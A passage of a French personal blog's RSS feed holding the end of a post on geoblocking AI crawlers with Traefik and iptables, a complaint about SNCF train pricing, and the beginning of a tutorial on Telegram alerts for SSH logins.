&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;18&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;w&#34;&gt;          &lt;/span&gt;&lt;span class=&#34;nt&#34;&gt;blackListMode&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;:&lt;/span&gt;&lt;span class=&#34;w&#34;&gt; &lt;/span&gt;&lt;span class=&#34;kc&#34;&gt;true&lt;/span&gt;&lt;span class=&#34;w&#34;&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;19&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;w&#34;&gt;          &lt;/span&gt;&lt;span class=&#34;nt&#34;&gt;httpStatusCodeDeniedRequest&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;:&lt;/span&gt;&lt;span class=&#34;w&#34;&gt; &lt;/span&gt;&lt;span class=&#34;m&#34;&gt;404&lt;/span&gt;&lt;span class=&#34;w&#34;&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;20&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;w&#34;&gt;          &lt;/span&gt;&lt;span class=&#34;nt&#34;&gt;countries&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;:&lt;/span&gt;&lt;span class=&#34;w&#34;&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;21&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;w&#34;&gt;            &lt;/span&gt;- &lt;span class=&#34;l&#34;&gt;CN&lt;/span&gt;&lt;span class=&#34;w&#34;&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;22&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;w&#34;&gt;            &lt;/span&gt;- &lt;span class=&#34;l&#34;&gt;HK&lt;/span&gt;&lt;span class=&#34;w&#34;&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;23&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;w&#34;&gt;            &lt;/span&gt;- &lt;span class=&#34;l&#34;&gt;SG&lt;/span&gt;&lt;span class=&#34;w&#34;&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Ensuite, il suffit de monter le dépôt &lt;code&gt;geoblock&lt;/code&gt; dans &lt;code&gt;/plugins-local/src/github.com/PascalMinder/geoblock&lt;/code&gt; (à la sauce Golang quoi, tout dépend de votre cas), et le middleware peut être rajouté aux &lt;em&gt;routeurs HTTP&lt;/em&gt; côté Traefik.&lt;/p&gt;
&lt;p&gt;Je n&amp;rsquo;aimais pas trop le fait de dépendre d&amp;rsquo;un service externe (&lt;a href=&#34;https://www.geojs.io/&#34;&gt;GeoJS&lt;/a&gt;) mais ça fonctionnait bien, les requêtes provenant de Chine étaient bien bloquées.&lt;/p&gt;
&lt;p&gt;J&amp;rsquo;ai essayé de jouer sur le code de retour, mais que ce soit du 401, 403, 404, 500, 501 ou encore 503, rien n&amp;rsquo;y faisait, je me prenais toujours autant de requêtes.
C&amp;rsquo;était même pire, plus je répondais rapidement, plus je recevais de requêtes ..&lt;/p&gt;
&lt;p&gt;En fouillant dans le code source du plugin, j&amp;rsquo;ai vu qu&amp;rsquo;il était possible de rajouter assez facilement un &lt;strong&gt;délai sur les requêtes&lt;/strong&gt; provenant d&amp;rsquo;adresses IP bannies.
J&amp;rsquo;ai donc fait une &lt;a href=&#34;https://github.com/PascalMinder/geoblock/pull/77&#34;&gt;Pull Request&lt;/a&gt; (toujours ouverte si vous voulez la relire d&amp;rsquo;ailleurs !) puis j&amp;rsquo;ai rajouté &lt;code&gt;delayOnDenyMs: 6000&lt;/code&gt; dans la configuration dans le but de faire &lt;em&gt;perdre du temps&lt;/em&gt; aux robots scrollant mon instance Gitea.
Je suis descendu à 4 requêtes par secondes en moyenne avec ce mécanisme.&lt;/p&gt;
&lt;h2 id=&#34;blocage-géographique-au-niveau-pare-feu&#34;&gt;Blocage géographique au niveau pare-feu&lt;/h2&gt;
&lt;p&gt;C&amp;rsquo;est là qu&amp;rsquo;OpenOffice &amp;hellip; euh mon pare-feu entre en jeu.&lt;/p&gt;
&lt;p&gt;Gros bémol, ça va bloquer l&amp;rsquo;accès à toutes les IP provenant de Chine à tous les services de mon serveur.
Donc les requêtes légitimes (provenant d&amp;rsquo;êtres humains) sont également bloquées &amp;hellip;
(c&amp;rsquo;était déjà le cas avec la solution précédente, mais uniquement sur les services sur mon instance Gitea).&lt;/p&gt;
&lt;p&gt;Bref, je suis désolé si des gens sont impactés &amp;hellip; si vous êtes en Chine, j&amp;rsquo;imagine que vous avez des VPN donc ça devrait le faire, sinon contactez-moi et on voit pour whitelister votre adresse IP.&lt;/p&gt;
&lt;p&gt;Pour commencer, je ne veux pas me baser sur un service externe et faire une requête pour interroger la provenance de chaque adresse IP (comme le fait le plugin Geoblock).
Il existe des bases de données qui compilent déjà tout ça, autant en profiter.
Mon choix s&amp;rsquo;est porté sur la base &lt;strong&gt;Geolite2-country&lt;/strong&gt; de &lt;a href=&#34;https://www.maxmind.com/en/geolite-free-ip-geolocation-data&#34;&gt;MaxMind&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;Cette base est d&amp;rsquo;ailleurs compilée dans un dépôt sur Github: &lt;a href=&#34;https://github.com/sapics/ip-location-db&#34;&gt;ip-location-db&lt;/a&gt; et accessible en lien direct en CSV &lt;a href=&#34;https://raw.githubusercontent.com/sapics/ip-location-db/refs/heads/main/geolite2-country/geolite2-country-ipv4.csv&#34;&gt;ici&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;J&amp;rsquo;ai ensuite fait un script python pour:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Télécharger la base.&lt;/li&gt;
&lt;li&gt;Extraire les IP de début et fin de chaque bloc pour les pays choisis.&lt;/li&gt;
&lt;li&gt;Convertir des IP en blocs CIDR (IP/masque) plus classiques (et surtout indispensable pour la suite).&lt;/li&gt;
&lt;li&gt;Créer un &lt;em&gt;&lt;a href=&#34;https://linux.die.net/man/8/ipset&#34;&gt;ipset&lt;/a&gt;&lt;/em&gt; pour chaque pays avec tous les blocs à bloquer.&lt;/li&gt;
&lt;li&gt;Ajouter ces &lt;em&gt;ipset&lt;/em&gt; à &lt;strong&gt;iptables&lt;/strong&gt;.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Ce script nécessite &lt;strong&gt;ipset&lt;/strong&gt; et &lt;strong&gt;iptables&lt;/strong&gt; sur votre machine ainsi que le module &lt;strong&gt;requests&lt;/strong&gt; dans votre virtualenv python.
Il est &lt;a href=&#34;https://git.pofilo.fr/pofilo/shared-files/src/branch/master/home/pofilo/scripts/ban-countries.py&#34;&gt;accessible ici&lt;/a&gt; pour les plus curieux.
Bien sûr, on pourrait rendre ce script beaucoup plus propre et aller beaucoup plus loin, mais je n&amp;rsquo;ai ni le temps, ni l&amp;rsquo;envie.&lt;/p&gt;
&lt;p&gt;Je l&amp;rsquo;ai fait en python par simplicité pour convertir les IP provenant du CSV en CIDR.&lt;/p&gt;
&lt;h1 id=&#34;conclusion&#34;&gt;Conclusion&lt;/h1&gt;
&lt;p&gt;Il ne me reste plus qu&amp;rsquo;à attendre patiemment que la bulle IA explose.
Ensuite, ces robots invasifs disparaitront petit à petit et il ne sera plus nécessaire de bloquer des pays entiers (encore désolé si ça vous impacte).&lt;/p&gt;
&lt;p&gt;Le CPU de mon serveur se la coule douce depuis que j&amp;rsquo;ai appliqué ce script (je le lance désormais une fois par semaine depuis une crontab).&lt;/p&gt;
&lt;p&gt;Pour finir, j&amp;rsquo;ai du monitoring pour savoir si mes services sont UP (grâce à &lt;a href=&#34;https://uptime.kuma.pet/&#34;&gt;Uptime Kuma&lt;/a&gt;), mais je vais devoir en rajouter sur l&amp;rsquo;usage CPU, disque, RAM de mon serveur &amp;hellip; (histoire de ne pas découvrir ça au hasard sur la commande &lt;strong&gt;htop&lt;/strong&gt; &amp;hellip;).&lt;/p&gt;
</description>
                
                    <category>Tutoriel</category>
                
                    <category>IA</category>
                
                    <category>Linux</category>
                
                    <category>Sécurité</category>
                
            </item>
        
            <item>
                <title>[Blog] À nous de vous faire préférer le train !</title>
                <link>https://www.pofilo.fr/post/2023/12/18-coup-de-gueule-sncf/</link>
                <pubDate>Mon, 18 Dec 2023 00:00:00 +0000</pubDate>
                
                    <author>Pofilo</author>
                
                <guid>https://www.pofilo.fr/post/2023/12/18-coup-de-gueule-sncf/</guid>
                <description>&lt;p&gt;Bonjour à tous,&lt;/p&gt;
&lt;p&gt;Pas de technique dans cet article, juste un coup de gueule à chaud sur la SNCF.
Pour ceux qui ne le savent pas, le titre de l&amp;rsquo;article est le slogan de la SNCF, on va voir que ce n&amp;rsquo;est pas vraiment approprié.&lt;/p&gt;
&lt;h1 id=&#34;contexte&#34;&gt;Contexte&lt;/h1&gt;
&lt;p&gt;J&amp;rsquo;ai besoin d&amp;rsquo;&lt;strong&gt;un billet aller-retour du mercredi au dimanche&lt;/strong&gt; en janvier (pas les vacances de Noël).
J&amp;rsquo;ai une carte avantage adulte qui propose des réductions (-30 % pour le titulaire de la carte) sur les &lt;strong&gt;TGV INOUI et INTERCITÉS&lt;/strong&gt;.&lt;/p&gt;
&lt;p&gt;C&amp;rsquo;est soumis à conditions:&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Valable pour les 28 - 59 ans sur les trajets suivants:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Pour un aller-retour comprenant une nuit de week-end&lt;/li&gt;
&lt;li&gt;Pour un aller-retour comprenant un jour de week-end&lt;/li&gt;
&lt;li&gt;Pour un aller simple comprenant un jour de week-end&lt;/li&gt;
&lt;li&gt;Pour un aller simple, quel que soit le jour de la semaine, si vous voyagez avec un enfant&lt;/li&gt;
&lt;/ul&gt;
&lt;/blockquote&gt;
&lt;p&gt;Et en prime, on a:&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Prix plafonnés en seconde:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;49 € max pour les trajets courts (moins de 1h30)&lt;/li&gt;
&lt;li&gt;69 € max pour les trajets intermédiaires (entre 1h30 et 3h)&lt;/li&gt;
&lt;li&gt;89 € max pour les trajets longs (plus de 3h)&lt;/li&gt;
&lt;/ul&gt;
&lt;/blockquote&gt;
&lt;h1 id=&#34;la-recherche&#34;&gt;La recherche&lt;/h1&gt;
&lt;p&gt;Je fais donc ma recherche (sur Trainline pour éviter tous les soucis possibles avec sncfconnect).
Je trouve le mercredi avec les horaires qui me vont pour l&amp;rsquo;aller.
Mais pour le retour, il n&amp;rsquo;y a qu&amp;rsquo;&lt;strong&gt;un seul train&lt;/strong&gt; disponible.
Je me dis que je m&amp;rsquo;y prends trop tard, les &lt;em&gt;bons horaires&lt;/em&gt; sont tous déjà pris.&lt;/p&gt;
&lt;p&gt;Ça c&amp;rsquo;était ce matin vers 8h30:
&lt;figure &gt;
    &lt;a
        href=&#34;https://www.pofilo.fr/img/sncf/avec-la-carte.png&#34;
        data-title=&#34;Avec la carte adulte activée&#34;

        
            data-lightbox=&#34;1&#34;
        
    &gt;
        &lt;img 
            src=&#34;https://www.pofilo.fr/img/sncf/avec-la-carte.png&#34;
            loading=&#34;lazy&#34;
            class=&#34;pure-img&#34;
            
                alt=&#34;Avec la carte adulte activée&#34;
            
        &gt;
    &lt;/a&gt;
    
        &lt;figcaption&gt;
            Avec la carte adulte activée
        &lt;/figcaption&gt;
    
&lt;/figure&gt;

&lt;/p&gt;
&lt;p&gt;Et ce soir, je me dis que quand même, c&amp;rsquo;est dommage de partir si tôt (9h30) alors que je pose quelques jours pour profiter d&amp;rsquo;un très long week-end.
Je pars donc en navigation privée en me disant que je pourrais également voir ce que m&amp;rsquo;apporte la carte avantage adulte.&lt;/p&gt;
&lt;p&gt;Et là, surprise, il y a &lt;strong&gt;plusieurs trains&lt;/strong&gt; dans la journée:
&lt;figure &gt;
    &lt;a
        href=&#34;https://www.pofilo.fr/img/sncf/sans-la-carte.png&#34;
        data-title=&#34;Sans la carte adulte activée&#34;

        
            data-lightbox=&#34;1&#34;
        
    &gt;
        &lt;img 
            src=&#34;https://www.pofilo.fr/img/sncf/sans-la-carte.png&#34;
            loading=&#34;lazy&#34;
            class=&#34;pure-img&#34;
            
                alt=&#34;Sans la carte adulte activée&#34;
            
        &gt;
    &lt;/a&gt;
    
        &lt;figcaption&gt;
            Sans la carte adulte activée
        &lt;/figcaption&gt;
    
&lt;/figure&gt;

&lt;/p&gt;
&lt;p&gt;Je refais donc la recherche depuis mon compte, et là comme ce matin &amp;hellip; rien &amp;hellip;
J&amp;rsquo;essaie également depuis sncfconnect, depuis les sites, les applications, mêmes résultats partout.&lt;/p&gt;
&lt;p&gt;Si j&amp;rsquo;ai la carte active, pour une recherche du mercredi au dimanche, on ne me propose pas tous les retours du dimanche.&lt;/p&gt;
&lt;p&gt;Je pousse mes recherches, je mets du &lt;strong&gt;mercredi au vendredi&lt;/strong&gt;.
L&amp;rsquo;aller coûte 20€ plus cher: normal, il n&amp;rsquo;y a plus de jour/nuit de week-end, donc la réduction ne s&amp;rsquo;applique pas.
Ça me propose les trains du vendredi, je clique sur suivant plusieurs fois pour avoir ceux du dimanche, et là, quelques trains supplémentaires apparaissent &amp;hellip; (et avec la réduction en plus mais pas la même que l&amp;rsquo;aller-retour proposé initialement pour l&amp;rsquo;aller disponible dans les 2 recherches).
Bien sûr, le billet aller étant déjà choisi, la réduction parce que j&amp;rsquo;ai pris le dimanche en changeant de jour n&amp;rsquo;est pas rétro-active.&lt;/p&gt;
&lt;figure &gt;
    &lt;a
        href=&#34;https://www.pofilo.fr/img/sncf/avec-le-mauvais-jour.png&#34;
        data-title=&#34;En demandant le vendredi&#34;

        
            data-lightbox=&#34;1&#34;
        
    &gt;
        &lt;img 
            src=&#34;https://www.pofilo.fr/img/sncf/avec-le-mauvais-jour.png&#34;
            loading=&#34;lazy&#34;
            class=&#34;pure-img&#34;
            
                alt=&#34;En demandant le vendredi&#34;
            
        &gt;
    &lt;/a&gt;
    
        &lt;figcaption&gt;
            En demandant le vendredi
        &lt;/figcaption&gt;
    
&lt;/figure&gt;


&lt;p&gt;Pour rappel:&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;89 € max pour les trajets longs (plus de 3h)&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;J&amp;rsquo;imagine que 130€, c&amp;rsquo;est inférieur à 89€.
Ou alors que 8h52 est tellement supérieur à 3h que cette règle ne s&amp;rsquo;applique plus.&lt;/p&gt;
&lt;p&gt;Je mets ici les détails du billet à 130€ (juste pour preuve qu&amp;rsquo;on se fout bien de nous):
&lt;figure &gt;
    &lt;a
        href=&#34;https://www.pofilo.fr/img/sncf/130-inferieur-89.png&#34;
        data-title=&#34;130€ doit coûter moins cher que 89€ chez la SNCF&#34;

        
            data-lightbox=&#34;1&#34;
        
    &gt;
        &lt;img 
            src=&#34;https://www.pofilo.fr/img/sncf/130-inferieur-89.png&#34;
            loading=&#34;lazy&#34;
            class=&#34;pure-img&#34;
            
                alt=&#34;130€ doit coûter moins cher que 89€ chez la SNCF&#34;
            
        &gt;
    &lt;/a&gt;
    
        &lt;figcaption&gt;
            130€ doit coûter moins cher que 89€ chez la SNCF
        &lt;/figcaption&gt;
    
&lt;/figure&gt;

&lt;/p&gt;
&lt;h1 id=&#34;conclusion&#34;&gt;Conclusion&lt;/h1&gt;
&lt;p&gt;Pour un trajet du &lt;strong&gt;mercredi au dimanche&lt;/strong&gt;, il faut donc faire la recherche du &lt;strong&gt;mercredi au vendredi puis afficher les trajets du dimanche&lt;/strong&gt;.
C&amp;rsquo;est la solution la plus économique malgré la non-réduction sur le billet aller.
Et ça permet également d&amp;rsquo;&lt;strong&gt;avoir l&amp;rsquo;aller-retour sous la même référence SNCF&lt;/strong&gt;: c&amp;rsquo;est super important, s&amp;rsquo;ils font grève, je pourrai annuler l&amp;rsquo;aller-retour.
Alors que si j&amp;rsquo;avais pris l&amp;rsquo;aller (en cherchant le mercredi) et le retour (en cherchant le dimanche), j&amp;rsquo;aurai payé le même prix, mais si la grève n&amp;rsquo;est que le mercredi, ils n&amp;rsquo;auraient pas remboursé le dimanche.&lt;/p&gt;
&lt;p&gt;Bref, c&amp;rsquo;était le coup de gueule du jour.
C&amp;rsquo;était vraiment un cas d&amp;rsquo;usage rien de plus classique (un trajet aller-retour avec les mêmes gares), d&amp;rsquo;où le grincement de dents quand on entend le slogan de la SNCF &amp;hellip;&lt;/p&gt;
&lt;p&gt;Je ne parle même pas des tarifs aberrant que j&amp;rsquo;ai eu pour Noël à 2 (l&amp;rsquo;avion ou la voiture coutaient 50% moins cher) &amp;hellip; (d&amp;rsquo;ailleurs, j&amp;rsquo;imagine qu&amp;rsquo;une partie des trajets complets que je voyais étaient dues à ce &lt;em&gt;phénomène&lt;/em&gt;).&lt;/p&gt;
&lt;p&gt;Pour des raisons évidentes écologiques, le train est la solution à privilégier, mais alors quand c&amp;rsquo;est géré par la SNCF, ça rend tout très compliqué &amp;hellip;&lt;/p&gt;
</description>
                
                    <category>Coup de gueule</category>
                
            </item>
        
            <item>
                <title>[Tutoriel] Recevoir une alerte à chaque connexion SSH</title>
                <link>https://www.pofilo.fr/post/2023/09/10-alerte-connexion-ssh/</link>
                <pubDate>Sun, 10 Sep 2023 00:00:00 +0000</pubDate>
                
                    <author>Pofilo</author>
                
                <guid>https://www.pofilo.fr/post/2023/09/10-alerte-connexion-ssh/</guid>
                <description>&lt;p&gt;Bonjour à tous,&lt;/p&gt;
&lt;p&gt;J&amp;rsquo;ai mis en place ce mécanisme il y a déjà pas mal de temps, je le partage ici si ça peut servir à d&amp;rsquo;autres, ou encore mieux vous donner des idées.&lt;/p&gt;
&lt;h1 id=&#34;edit-21-février-2024&#34;&gt;Edit 21 février 2024&lt;/h1&gt;
&lt;p&gt;Ajout de la &lt;a href=&#34;https://www.pofilo.fr/post/2023/09/10-alerte-connexion-ssh/#avec-lapi-pam&#34;&gt;section en utilisant l&amp;rsquo;API PAM&lt;/a&gt;.&lt;/p&gt;
&lt;h1 id=&#34;objectif&#34;&gt;Objectif&lt;/h1&gt;
&lt;p&gt;L&amp;rsquo;objectif est plutôt simple, ça permet de rajouter une couche de sécurité sur mes différents serveurs.
En effet, le seul moyen de s&amp;rsquo;y connecter est de passer par une connexion SSH.
Je cherchais une application mobile pour faire du SSH en cas d&amp;rsquo;extrême urgence, mais si j&amp;rsquo;étais tombé sur une application malveillante, une attaque &lt;strong&gt;man-in-the-middle&lt;/strong&gt; aurait été possible.&lt;/p&gt;
&lt;p&gt;L&amp;rsquo;idée à travers ce tutoriel est de pouvoir recevoir une alerte à chaque connexion SSH.
De ce fait, je serai rapidement au courant si ma clé privée (et son mot de passe) serait tombée entre de mauvaises mains.&lt;/p&gt;
&lt;p&gt;Encore une fois, c&amp;rsquo;est un petit plus sympa, mais ce n&amp;rsquo;est pas un mécanisme de sécurité fiable, il ne faut pas s&amp;rsquo;y reposer et penser qu&amp;rsquo;aucune intrusion ne sera désormais possible sans que vous n&amp;rsquo;y soyez au courant.&lt;/p&gt;
&lt;h1 id=&#34;types-dalertes&#34;&gt;Types d&amp;rsquo;alertes&lt;/h1&gt;
&lt;p&gt;Là, le champ des possibles est infini.
Globalement, on va pouvoir recevoir une alerte avec tous les systèmes possédant une &lt;strong&gt;API HTTP&lt;/strong&gt;, un &lt;strong&gt;client Linux&lt;/strong&gt;, etc &amp;hellip;&lt;/p&gt;
&lt;p&gt;Ici, on va montrer comment faire avec Telegram et ntfy.&lt;/p&gt;
&lt;h2 id=&#34;telegram&#34;&gt;Telegram&lt;/h2&gt;
&lt;p&gt;Envoyer un message sur Telegram est vraiment très simple, il suffit d&amp;rsquo;une requête &lt;strong&gt;curl&lt;/strong&gt; et le tour est joué.&lt;/p&gt;
&lt;p&gt;Avant cela, il faut tout de même créer un bot et récupérer son token.&lt;/p&gt;
&lt;p&gt;Il existera ensuite 2 types de conversations:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;une conversation en tête à tête avec votre bot&lt;/li&gt;
&lt;li&gt;un groupe Telegram (1 ou plusieurs bots et 1 ou plusieurs &amp;ldquo;vraies personnes&amp;rdquo;)&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Je ne vais pas réécrire une procédure que l&amp;rsquo;on peut trouver partout sur le net.
Je peux tout de même vous diriger &lt;a href=&#34;https://git.pofilo.fr/pofilo/kimsufi/src/branch/master/doc/notice-telegram.md&#34;&gt;vers une procédure écrite par mes soins&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;Ensuite, on peut faire un petit script bash assez simple pour faire ce fameux curl:&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; class=&#34;chroma&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt; 1&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;cp&#34;&gt;#!/bin/bash
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt; 2&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt; 3&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;k&#34;&gt;if&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;[&lt;/span&gt; &lt;span class=&#34;s2&#34;&gt;&amp;#34;&lt;/span&gt;&lt;span class=&#34;nv&#34;&gt;$#&lt;/span&gt;&lt;span class=&#34;s2&#34;&gt;&amp;#34;&lt;/span&gt; -ne &lt;span class=&#34;m&#34;&gt;3&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;]&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;;&lt;/span&gt; &lt;span class=&#34;k&#34;&gt;then&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt; 4&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;  &lt;span class=&#34;nb&#34;&gt;echo&lt;/span&gt; &lt;span class=&#34;s2&#34;&gt;&amp;#34;Usage: &lt;/span&gt;&lt;span class=&#34;nv&#34;&gt;$0&lt;/span&gt;&lt;span class=&#34;s2&#34;&gt; &amp;lt;bot_token&amp;gt; &amp;lt;group_id&amp;gt; &amp;lt;text message&amp;gt;&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt; 5&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;  &lt;span class=&#34;nb&#34;&gt;exit&lt;/span&gt; &lt;span class=&#34;m&#34;&gt;1&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt; 6&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;k&#34;&gt;fi&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt; 7&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt; 8&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;nv&#34;&gt;BOT_TOKEN&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;=&lt;/span&gt;&lt;span class=&#34;nv&#34;&gt;$1&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt; 9&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;nv&#34;&gt;GROUP_ID&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;=&lt;/span&gt;&lt;span class=&#34;nv&#34;&gt;$2&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;10&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;nv&#34;&gt;TEXT&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;=&lt;/span&gt;&lt;span class=&#34;nv&#34;&gt;$3&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;11&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;nv&#34;&gt;URL&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;=&lt;/span&gt;&lt;span class=&#34;s2&#34;&gt;&amp;#34;https://api.telegram.org/bot&lt;/span&gt;&lt;span class=&#34;si&#34;&gt;${&lt;/span&gt;&lt;span class=&#34;nv&#34;&gt;BOT_TOKEN&lt;/span&gt;&lt;span class=&#34;si&#34;&gt;}&lt;/span&gt;&lt;span class=&#34;s2&#34;&gt;/sendMessage&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;12&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;13&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;nv&#34;&gt;RES&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;=&lt;/span&gt;&lt;span class=&#34;k&#34;&gt;$(&lt;/span&gt;curl -i -s -X POST &lt;span class=&#34;s2&#34;&gt;&amp;#34;&lt;/span&gt;&lt;span class=&#34;si&#34;&gt;${&lt;/span&gt;&lt;span class=&#34;nv&#34;&gt;URL&lt;/span&gt;&lt;span class=&#34;si&#34;&gt;}&lt;/span&gt;&lt;span class=&#34;s2&#34;&gt;&amp;#34;&lt;/span&gt; --data &lt;span class=&#34;s2&#34;&gt;&amp;#34;text=&lt;/span&gt;&lt;span class=&#34;si&#34;&gt;${&lt;/span&gt;&lt;span class=&#34;nv&#34;&gt;TEXT&lt;/span&gt;&lt;span class=&#34;si&#34;&gt;}&lt;/span&gt;&lt;span class=&#34;s2&#34;&gt;&amp;#34;&lt;/span&gt; --data &lt;span class=&#34;s2&#34;&gt;&amp;#34;chat_id=&lt;/span&gt;&lt;span class=&#34;si&#34;&gt;${&lt;/span&gt;&lt;span class=&#34;nv&#34;&gt;GROUP_ID&lt;/span&gt;&lt;span class=&#34;si&#34;&gt;}&lt;/span&gt;&lt;span class=&#34;s2&#34;&gt;&amp;#34;&lt;/span&gt;&lt;span class=&#34;k&#34;&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;14&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;nv&#34;&gt;STATUS_CODE&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;=&lt;/span&gt;&lt;span class=&#34;k&#34;&gt;$(&lt;/span&gt;&lt;span class=&#34;nb&#34;&gt;echo&lt;/span&gt; &lt;span class=&#34;s2&#34;&gt;&amp;#34;&lt;/span&gt;&lt;span class=&#34;nv&#34;&gt;$RES&lt;/span&gt;&lt;span class=&#34;s2&#34;&gt;&amp;#34;&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;|&lt;/span&gt; head -n &lt;span class=&#34;m&#34;&gt;1&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;|&lt;/span&gt; awk -F&lt;span class=&#34;s1&#34;&gt;&amp;#39; &amp;#39;&lt;/span&gt; &lt;span class=&#34;s1&#34;&gt;&amp;#39;{print $2}&amp;#39;&lt;/span&gt;&lt;span class=&#34;k&#34;&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;15&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;16&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;k&#34;&gt;if&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;[[&lt;/span&gt; &lt;span class=&#34;nv&#34;&gt;$STATUS_CODE&lt;/span&gt; -ne &lt;span class=&#34;m&#34;&gt;200&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;]]&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;;&lt;/span&gt; &lt;span class=&#34;k&#34;&gt;then&lt;/span&gt;
